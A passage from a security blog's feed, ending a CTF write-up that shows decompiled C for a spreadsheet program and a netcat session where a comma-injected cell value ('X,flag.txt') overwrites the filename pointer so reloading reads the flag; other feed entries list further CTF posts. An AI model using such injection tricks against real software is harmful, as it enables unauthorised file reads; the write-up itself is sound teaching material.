&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8B949E;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span&gt;EMPTY,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8B949E;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span&gt;EMPTY,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8B949E;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span&gt;EMPTY,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8B949E;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span&gt;EMPTY,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8B949E;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span&gt;EMPTY,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8B949E;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span&gt;X,flag.txt,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Equally, &lt;code&gt;load_spreadsheet&lt;&#x2F;code&gt; doesn’t correctly validate the columns on read,
just using &lt;code&gt;strtok&lt;&#x2F;code&gt; to catch instances of &lt;code&gt;,&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt; load_spreadsheet&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;…&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;  else&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    row &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;    while&lt;&#x2F;span&gt;&lt;span&gt; ((pcVar3 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt; fgets&lt;&#x2F;span&gt;&lt;span&gt;(line,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;400&lt;&#x2F;span&gt;&lt;span&gt;,__stream), pcVar3 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;!=&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;char *&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; &amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;           (sVar2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt; strlen&lt;&#x2F;span&gt;&lt;span&gt;(line),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; sVar2))) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      col &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      val &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt; strtok&lt;&#x2F;span&gt;&lt;span&gt;(line,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;,&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;      while&lt;&#x2F;span&gt;&lt;span&gt; (val &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;!=&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;char *&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;        free&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;spreadsheet&lt;&#x2F;span&gt;&lt;span&gt;[row][col]);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        pcVar3 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt; strdup&lt;&#x2F;span&gt;&lt;span&gt;(val);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;        spreadsheet&lt;&#x2F;span&gt;&lt;span&gt;[row][col]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; pcVar3;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        val &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt; strtok&lt;&#x2F;span&gt;&lt;span&gt;((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;char *&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;,&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        col &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; col &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      row &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; row &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;    fclose&lt;&#x2F;span&gt;&lt;span&gt;(__stream);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;    puts&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;Spreadsheet loaded!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;…&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In the above example, &lt;code&gt;flag.txt&lt;&#x2F;code&gt; would be read in as an &lt;em&gt;additional&lt;&#x2F;em&gt; value
after the 10x10 array…right into the filename pointer!&lt;&#x2F;p&gt;
&lt;p&gt;Once that’s done, loading the file &lt;em&gt;again&lt;&#x2F;em&gt; would cause &lt;code&gt;flag.txt&lt;&#x2F;code&gt; to be read,
after which it should be possible to display the flag:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;❯&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; nc kubenode.mctf.io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 31009&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Options:&lt;&#x2F;span&gt;&lt;span&gt; (P)rint, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;E&lt;&#x2F;span&gt;&lt;span&gt;)dit, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;L&lt;&#x2F;span&gt;&lt;span&gt;)oad, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;S&lt;&#x2F;span&gt;&lt;span&gt;)ave, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Q&lt;&#x2F;span&gt;&lt;span&gt;)uit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; E&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Enter&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; cell&lt;&#x2F;span&gt;&lt;span&gt; (i.e.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; &amp;#39;B7&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;): J10&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Enter&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; new value: X,flag.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; updated!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Options:&lt;&#x2F;span&gt;&lt;span&gt; (P)rint, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;E&lt;&#x2F;span&gt;&lt;span&gt;)dit, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;L&lt;&#x2F;span&gt;&lt;span&gt;)oad, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;S&lt;&#x2F;span&gt;&lt;span&gt;)ave, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Q&lt;&#x2F;span&gt;&lt;span&gt;)uit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; S&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Spreadsheet&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; saved!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Options:&lt;&#x2F;span&gt;&lt;span&gt; (P)rint, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;E&lt;&#x2F;span&gt;&lt;span&gt;)dit, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;L&lt;&#x2F;span&gt;&lt;span&gt;)oad, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;S&lt;&#x2F;span&gt;&lt;span&gt;)ave, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Q&lt;&#x2F;span&gt;&lt;span&gt;)uit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; L&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Spreadsheet&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; loaded!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Options:&lt;&#x2F;span&gt;&lt;span&gt; (P)rint, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;E&lt;&#x2F;span&gt;&lt;span&gt;)dit, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;L&lt;&#x2F;span&gt;&lt;span&gt;)oad, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;S&lt;&#x2F;span&gt;&lt;span&gt;)ave, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Q&lt;&#x2F;span&gt;&lt;span&gt;)uit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; L&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Spreadsheet&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; loaded!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Options:&lt;&#x2F;span&gt;&lt;span&gt; (P)rint, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;E&lt;&#x2F;span&gt;&lt;span&gt;)dit, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;L&lt;&#x2F;span&gt;&lt;span&gt;)oad, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;S&lt;&#x2F;span&gt;&lt;span&gt;)ave, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Q&lt;&#x2F;span&gt;&lt;span&gt;)uit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; P&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;        A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;       B       C       D       E       F       G       H       I       J&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;      MetaCTF{c0mm4_c0mm4_c0mm4_c0mma_c0mm4_ch4m3l30n}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;        EMPTY&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;      EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;      EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;      EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;      EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; 6&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;      EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; 7&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;      EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;      EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; 9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;      EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;      EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY   EMPTY      X&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;</content>
        
    </entry>
    <entry xml:lang="en">
        <title>️🏴 404 on the Dancefloor</title>
        <published>2025-07-10T00:00:00+00:00</published>
        <updated>2025-07-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/404-on-the-dancefloor/"/>
        <id>https://blog.psypherpunk.io/blog/404-on-the-dancefloor/</id>
        
        <summary type="html">&lt;p&gt;As always, an announcement on
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;prjctmammoth&#x2F;status&#x2F;1939932908573086182&quot;&gt;Twitter&lt;&#x2F;a&gt; kicks things
off…&lt;&#x2F;p&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>️📦 HackTheBox: UnderPass</title>
        <published>2025-05-11T00:00:00+00:00</published>
        <updated>2025-05-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/htb-machine-easy-underpass/"/>
        <id>https://blog.psypherpunk.io/blog/htb-machine-easy-underpass/</id>
        
        <summary type="html">&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;app.hackthebox.com&#x2F;machines&#x2F;UnderPass&quot;&gt;UnderPass&lt;&#x2F;a&gt; is the most recently
retired of HackTheBox’s machines and one that I’m not ashamed to admit took me
far too long to solve.&lt;&#x2F;p&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>️🏴 MetaCTF January 2025 Flash CTF</title>
